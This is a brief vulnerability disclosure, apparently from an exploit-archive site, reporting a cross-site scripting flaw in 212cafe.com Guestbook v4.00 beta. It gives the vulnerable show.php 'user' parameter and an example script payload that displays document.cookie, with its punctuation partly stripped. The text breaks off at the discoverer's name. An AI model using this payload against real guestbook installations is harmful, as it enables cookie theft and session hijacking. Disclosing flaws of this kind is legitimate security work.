XSS in Guestbook ( v.4.00 beta )

Hello Vulnerable : Guestbook By 212cafe.com Version: v.4.00 beta Web : http://www.212cafe.com Exploit : http://www.example.com/guestbookv4.0/show.php?user=XSS Example : http://www.example.com/guestbookv4.0/show.php?user='scriptalertdocument.cookie;/script ----- Discoverey By LinuxDrox...